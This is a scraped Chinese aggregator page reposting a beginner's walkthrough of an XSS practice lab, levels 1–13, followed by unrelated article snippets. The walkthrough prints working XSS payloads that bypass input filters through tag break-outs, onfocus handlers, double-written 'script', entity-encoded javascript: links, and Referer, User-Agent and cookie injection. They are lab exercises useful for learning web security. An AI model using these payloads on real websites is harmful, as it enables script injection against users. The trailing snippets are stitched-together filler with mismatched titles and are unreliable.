当前位置： 首页 > news >正文

XSS学习（绕过）

news 文章来源：https://blog.csdn.net/qq_40487134/article/details/139754120 2025/2/7 18:44:26

学习平台：xss.tesla-space.com
在这里插入图片描述

XSS学习（绕过）

  • level1
  • level2
  • level3
  • level4
  • level5
  • level6
  • level7
  • level8
  • level9
  • level10
  • level11
  • level12
  • level13
  • level14

level1

在这里插入图片描述应该没有过滤
https://xss.tesla-space.com/level1.php?name=<script>alert(1);</script>

level2

先试一下<script>alert(1);</script>
在这里插入图片描述需要闭合
' "><script>alert(1);</script>
在这里插入图片描述

level3

先试一下' "><script>alert(1);</script>
在这里插入图片描述不行，多试一下，发现单引号没转义
在这里插入图片描述可以用onfocus
在这里插入图片描述发现在最右边加了个单引号，因此需要在alert左边加一个单引号闭合
'onfocus='alert(1)
在这里插入图片描述

level4

找一些常用的试一下发现把<>删了
在这里插入图片描述发现和level3比，本题用"闭合"onfocus="alert(1)
在这里插入图片描述

level5

试了一下发现改了script,而且需要闭合前面的value
在这里插入图片描述
试一下大小写绕过,发现不行
在这里插入图片描述不用srcipt，改用a' "><a href="javascript:alert()">aa</a>

在这里插入图片描述

level6

把level5的答案输入，发现herf也被禁用了
在这里插入图片描述' "><sCripT>alert(1);</sCripT>大小写绕过居然可以了

level7

输入level6的答案，发现把script删除了
在这里插入图片描述
明显的双写绕过' "><sCrsCripTipT>alert(1);</sCsCripTripT>

在这里插入图片描述

level8

应该是要构造herf内容，发现直接输入javascript不行，大小写也不行
在这里插入图片描述可以对javasricpt进行编码，&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert()">
在这里插入图片描述

在这里插入图片描述

level9

用上题的答案输入提示不合法
在这里插入图片描述猜测需要包含http之类的一个正常网站
在这里插入图片描述发现这种链接点击后是没用的，需要把这个正常网站用/**/注释掉，&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert();/*http://www.baidu.com*/

在这里插入图片描述

level10

发现有三个隐藏的input
在这里插入图片描述对这三个变量赋值，看看哪个能生效，看来只有t_sort有用
在这里插入图片描述input中的onfocus之前遇到过，这题特殊的地方在于input属性是隐藏的，可以在输入里重新给type赋值https://xss.tesla-space.com/level10.php?t_link=111&t_history=222&t_sort="onfocus="alert(1)" type=button

在这里插入图片描述

level11

试了t_sort发现不行，注意到t_ref是第十关的有关信息，可以抓个包
在这里插入图片描述一步一步更改referer字段
在这里插入图片描述

level12

12获取的应该是11User-Anget的值
在这里插入图片描述在此处注入
在这里插入图片描述

level13

一眼cookie，需要给变量user赋值
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

level14

后面的都打不开了，淦

相关文章：

XSS学习（绕过）

学习平台&#xff1a;xss.tesla-space.com XSS学习&#xff08;绕过&#xff09; level1level2level3level4level5level6level7level8level9level10level11level12level13level14 level1 应该没有过滤 https://xss.tesla-space.com/level1.php?name<script>alert(1);&…...

编程日记 2024/6/22 17:01:11

深信服2024笔试

一 &#xff1a;服务器 小明是一名公司的IT运维工程师&#xff0c;负责管理公司的IT系统。公司总共有两个配置相同的服务器A和B&#xff0c;各运行了若干个服务。现在小明发现两台服务器上运行的服务占用的内存总和不相等(假设每个服务占用内存是-个恒定正整数)&#xff0c;打…...

编程日记 2024/6/22 16:59:09

IOS Swift 从入门到精通:闭包 第一部分

文章目录 创建基本闭包在闭包中接受参数从闭包返回值闭包作为参数尾随闭包语法 创建基本闭包 Swift 允许我们像使用字符串和整数等其他类型一样使用函数。这意味着您可以创建一个函数并将其分配给一个变量&#xff0c;使用该变量调用该函数&#xff0c;甚至可以将该函数作为参…...

编程日记 2024/6/22 16:53:03

解两道四年级奥数题（等差数列）玩玩

1、1&#xff5e;200这200个连续自然数的全部数字之和是________。 2、2&#xff0c;4&#xff0c;6&#xff0c;……&#xff0c;2008这些偶数的所有各位数字之和是________。 这两道题算易错吧&#xff0c;这里求数字之和&#xff0c;比如124这个数的全部数字之和是1247。 …...

编程日记 2024/6/22 16:52:02

深入理解Python中的并发与异步的结合使用

​ 在上一篇文章中&#xff0c;我们讨论了异步编程中的性能优化技巧&#xff0c;并简单介绍了trio和curio库。今天&#xff0c;我们将深入探讨如何将并发编程与异步编程结合使用&#xff0c;并详细讲解如何利用trio和curio库优化异步编程中的性能。 文章目录 并发与异步编程的区…...

编程日记 2024/6/22 16:47:57

如何将 ChatGPT 集成到你的应用中

在当今快速发展的技术环境中&#xff0c;将人工智能聊天解决方案集成到你的应用程序中可以显著提升用户体验和参与度。OpenAI 的 ChatGPT 以其对话能力和高级语言理解而闻名&#xff0c;对于希望在其应用程序中实现智能聊天功能的开发人员来说是一个绝佳的选择。那我们今天就来…...

编程日记 2024/6/22 16:45:55

在 Swift 中，UILabel添加点击事件的方法

在 Swift 中&#xff0c;可以使用 UITapGestureRecognizer 给 UILabel 添加点击事件。以下是一个详细的步骤和示例代码&#xff1a; 1. 创建 UILabel 并添加到视图 在 Storyboard 或代码中创建一个 UILabel 并将其添加到视图中。 2. 启用 UILabel 的用户交互 默认情况下&am…...

编程日记 2024/6/22 16:44:54

indexedDB---掌握浏览器内建数据库的基本用法

1.认识indexedDB IndexedDB 是一个浏览器内建的数据库&#xff0c;它可以存放对象格式的数据&#xff0c;类似本地存储localstore&#xff0c;但是相比localStore 10MB的存储量&#xff0c;indexedDB可存储的数据量远超过这个数值&#xff0c;具体是多少呢&#xff1f; 默认情…...

编程日记 2024/6/22 16:43:53

【css】如何修改input选中历史选项后，自动填充的蓝色背景色

自动填充前&#xff1a; 自动填充后&#xff1a; 解决办法 方法一&#xff1a;设置背景透明&#xff08;通过拉长过渡时间&#xff0c;和延迟过渡开始时间&#xff0c;掩盖input自动填充背景颜色&#xff09; PS&#xff1a;注意&#xff0c;这个过渡效果会在你的delay tim…...

编程日记 2024/6/22 16:42:52

红队内网攻防渗透：内网渗透之内网对抗：网络通讯篇防火墙组策略入站和出站规则单层双层C2正反向上线解决方案

红队内网攻防渗透 1. 内网网络通讯1.1 防火墙策略-入站规则&出站规则&自定义1.1.1 防火墙默认入站&出站策略1.1.2 防火墙自定义入站&出站策略1.1.3 内网域防火墙同步策略1.2 防火墙限制1.2.1 防火墙限制端口1.2.2 防火墙限制协议1.2.2.1 防火墙协议入站限制1.2…...

编程日记 2024/6/22 16:41:51

linux 查看进程启动方式

目录 如果是systemd管理的服务怎么快速找到对应的服务器呢 什么是CGroup 查找进程对应的systemd服务 方法一&#xff1a;查看 /proc//cgroup 文件 方法二&#xff1a;使用 ps 命令结合 --cgroup 选项 方法三&#xff1a;systemd-cgls 关于 system.slice 与 user.slice …...

编程日记 2024/6/22 16:40:50

基于Java实训中心管理系统设计和实现(源码+LW+调试文档+讲解等)

&#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN作者、博客专家、全栈领域优质创作者&#xff0c;博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f31f;文末获取源码数据库&#x1f31f; 感兴趣的可以先收藏起来&#xff0c;…...

编程日记 2024/6/22 16:38:47

第2章 Android应用的界面编程

&#x1f308;个人主页&#xff1a;小新_- &#x1f388;个人座右铭&#xff1a;“成功者不是从不失败的人&#xff0c;而是从不放弃的人&#xff01;”&#x1f388; &#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐️ 留言&#x1f4dd; &#x1f3c6;所属专栏&#xff1…...

编程日记 2024/6/22 16:36:45

springboot学习-图灵课堂-最详细学习

springboot-repeat springBoot学习代码说明为什么java -jar springJar包后项目就可以启动 配置文件介绍 springBoot学习 依赖引入 <properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><maven.compiler.target>8</mav…...

编程日记 2024/6/22 16:34:43

Total CAD Converter与Total Excel Converter软件分享

1.软件介绍 Total CAD Converter Total CAD Converter 是一款功能强大的工具&#xff0c;能够将 CAD 文件转换为多种格式&#xff0c;如 PDF、TIFF、JPEG、BMP、WMF、PNG、DXF、BMP、CGM、HPGL、SVG、PS 和 SWF 等。其支持的源格式丰富多样&#xff0c;包括 dxf、dwg、dwf、d…...

编程日记 2024/6/22 16:32:40

【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 启动多任务排序(200分) - 三语言AC题解(Python/Java/Cpp)

🍭 大家好这里是清隆学长 ，一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-C/D卷的三语言AC题解 💻 ACM银牌🥈| 多次AK大厂笔试 ｜ 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 📎在线评测链接 启动多任务排序(200分) 🌍 评测功能需要订阅专栏后私信联系…...

编程日记 2024/6/22 16:31:39

【会议征稿，JPCS出版】第三届电力系统与能源技术国际学术会议(ICPSET 2024，7月5-7)

第三届电力系统与能源技术国际学术会议&#xff08;ICPSET 2024&#xff09;将于2024年7月5-7日在杭州举办。由浙江水利水电学院电机产业学院主办&#xff0c;AEIC学术交流中心承办&#xff0c;湖州市南浔创新研究院、南浔区科技局&#xff08;科协&#xff09;协办 。会议主要…...

编程日记 2024/6/22 16:30:37

【机器学习300问】118、循环神经网络（RNN）的基本结构是怎样的？

将讲解循环神经网络RNN之前&#xff0c;我先抛出几个疑问&#xff1a;为什么发明循环神经网络&#xff1f;它的出现背景是怎样的&#xff1f;这些问题可以帮助我们更好的去理解RNN。下面我来逐一解答。 一、循环神经网络诞生的背景 循环神经网络&#xff08;RNN&#xff09;的…...

编程日记 2024/6/22 16:29:36

loveqq-framework 和 thymeleaf 整合遇到的 th:field 的坑，原来只有 spring 下才有效

相信大家在使用 thymeleaf 的时候&#xff0c;绝大部分都是和 springboot 一块儿使用的&#xff0c;所以 th:field 属性用的很舒服。 但实际上&#xff0c;th:field 只有在 spring 环境下下有用&#xff0c;单独的 thymeleaf 是不支持的&#xff01; 为什么我知道呢&#xff…...

编程日记 2024/6/22 16:25:31

hugging face：大模型时代的github介绍

1. Hugging Face是什么&#xff1a; Hugging Face大模型时代的“github”&#xff0c;很多人有个这样的认知&#xff0c;但是我觉得不完全准确&#xff0c;他们相似的地方在于资源丰富&#xff0c;github有各种各样的软件代码和示例&#xff0c;但是它不是系统的&#xff0c;没…...

编程日记 2024/6/22 16:24:29

如何快速绘制logistic回归预测模型的ROC曲线？

临床预测模型&#xff0c;也是临床统计分析的一个大类&#xff0c;除了前期构建模型&#xff0c;还要对模型的预测能力、区分度、校准度、临床获益等方面展开评价&#xff0c;确保模型是有效的&#xff01; 其中评价模型的好坏主要方面还是要看区分度和校准度&#xff0c;而区分…...

编程日记 2024/6/22 16:23:28

实现具有多个实现类的接口并为每个实现类定义一个名字的方法

在Java中&#xff0c;实现具有多个实现类的接口并为每个实现类定义一个名字的方法&#xff0c;可以通过使用工厂模式或服务定位器模式来完成。以下是使用工厂模式的一个示例&#xff1a; 定义接口和实现类 首先&#xff0c;定义一个接口和多个实现类&#xff1a; // 接口 publ…...

编程日记 2024/6/22 16:21:26

Linux解压缩命令

文章目录 前言1. tar - 打包和压缩文件2. gzip - 压缩文件3. gunzip - 解压缩gzip文件4. bzip2 - 压缩文件5. unzip - 解压缩zip文件6. zip - 压缩文件为zip格式7. 7z - 7-Zip压缩工具8. unrar - 解压缩RAR文件 前言 解压缩文件在Linux中是常见的任务&#xff0c;以下是一些常…...

编程日记 2024/6/22 16:19:24

如何在 Ubuntu 14.04 上使用 Iptables 实现基本防火墙模板

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 简介 实施防火墙是保护服务器的重要步骤。其中很大一部分是决定强制执行对网络流量的限制的个别规则和策略。像 iptables 这样的防火墙…...

编程日记 2024/6/22 16:18:23

jasypt对yml文件进行加密解密

目录 0.背景 1.依赖 2.yml文件 3.加密操作 0.背景 在日常开发中&#xff0c;我们一般会把账号密码以及一些用到的各种第三方服务的Access_Key都放入yml文件中&#xff0c;这时就有必要对yml文件进行加密处理了&#xff0c; jasypt是一款简单的对yml加密的工具 1.依赖 &l…...

编程日记 2024/6/22 16:17:21

vue3-openlayers 使用tianditu,wmts和xyz等source加载天地图切片服务

本篇介绍一下使用vue3-openlayers加载天地图切片&#xff0c;三种方法&#xff1a; 使用tianditu&#xff08;ol-source-tianditu内部实现其实用的wmts&#xff09;使用wmts&#xff08;ol-source-wmts&#xff09;使用xyz&#xff08;ol-source-xyz&#xff09; 1 需求 vue…...

编程日记 2024/6/22 16:16:19

npm、yarn、pnpm 最新国内镜像源设置和常见问题解决

1. npm 设置国内镜像源 1.1 镜像源概述 镜像源是软件包管理工具用来下载和安装软件包的服务器地址。由于网络原因&#xff0c;直接使用官方源可能会导致速度慢或连接失败的问题。国内镜像源可以提供更快的访问速度和更稳定的连接。 1.2 镜像源的选择 国内有许多可用的npm镜…...

编程日记 2024/6/22 16:14:16

Qt Object：智能即时聊天室项目

目录 1.项目介绍 2.设计思路 3.Pro文件配置 4.项目演示 5.项目开源 项目介绍 智能即时聊天室系统&#xff08;AIChatProject&#xff09;是一个高效、灵活的即时通讯解决方案。它融合了百度的开源大型语言模型——文心一言&#xff0c;通过API接口实现深度集成。系统专为聊天和…...

编程日记 2024/6/22 16:13:15

php，python aes加密反解

1. python版本 import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpadclass AESUtilCBC:def __init__(self, key, iv):self.key key.encode(utf-8)self.iv iv.encode(utf-8)self.pad_length AES.block_sizedef encrypt(self, data):try…...

编程日记 2024/6/22 16:12:13

基于Java学生选课管理系统设计和实现(源码+LW+调试文档+讲解等)

&#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN作者、博客专家、全栈领域优质创作者&#xff0c;博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f31f;文末获取源码数据库&#x1f31f; 感兴趣的可以先收藏起来&#xff0c;…...

编程日记 2024/6/22 16:11:12

南京高端网站建设/网络客服

Yolov5的模型定义分两个阶段&#xff0c;分别是基础模块设计阶段和完整模型搭建阶段。基础模块设计阶段&#xff0c;是基于pytorch架构的基本神经网络算子&#xff0c;进一步构造成具有特定功能和含义的自定义神经网络模块。完整模型搭建阶段&#xff0c;是通过结构化文件&…...

编程日记 2025/2/7 17:55:03

免费申请淘宝账号注册/北京百度seo关键词优化

Java6,Axis2、XFire、CXF1、JWS是Java语言对WebService服务的一种实现&#xff0c;用来开发和发布服务。而从服务本身的角度来看JWS服务是没有语言界限的。但是Java语言为Java开发者提供便捷发布和调用WebService服务的一种途径。2、Axis2是Apache下的一个重量级WebService框架…...

编程日记 2025/2/7 17:18:00

安卓android下载安装/seo网站外包公司

题目大意&#xff1a;三种操作&#xff1a; $Name\;Socore&#xff1a;$上传最新得分记录&#xff0c;把以前的记录删除。$?Name&#xff1a;$ 查询玩家排名。如果两个玩家的得分相同&#xff0c;则先得到该得分的玩家排在前面。$?Index&#xff1a;$ 返回自第$Index$名开始的…...

编程日记 2025/2/7 17:04:38

怎么制作个人求职网站/国产十大erp软件

文章目录TCP服务器与客户端TCP基础net模块创建TCP服务器和客户端UDP服务器与客户端UDP基础dgram模块创建UDP服务器和客户端WebSocket服务器与客户端WebSocket实现机制WebSocket构建实时聊天室学习文章&#xff1a;Node.js 网络编程 &#xff08;上&#xff09;Web基础知识、实现…...

编程日记 2025/2/7 15:14:19

网站的营销与推广/网站收录查询工具

bitsCN.comMySQL提供标准的SQL模式匹配&#xff0c;以及一种基于象Unix实用程序如vi、grep和sed的扩展正则表达式模式匹配的格式。SQL的模式匹配允许你使用“_”匹配任何单个字符&#xff0c;而“%”匹配任意数目字符(包括零个字符)。在 MySQL中&#xff0c;SQL的模式缺省是忽略…...

编程日记 2025/2/7 12:14:10

品牌网站建设推荐大蝌蚪/什么是互联网推广

wsdl2java wsimport 的升级版wsdl2java 生成webService java 基本类 apache-cxf 下载 及配置变量 下载地址列表 &#xff1a; http://cxf.apache.org/download.html 下载地址&#xff1a; https://www.apache.org/dyn/closer.lua/cxf/3.4.2/apache-cxf-3.4.2.zip 下载后解压…...

编程日记 2025/2/7 11:44:27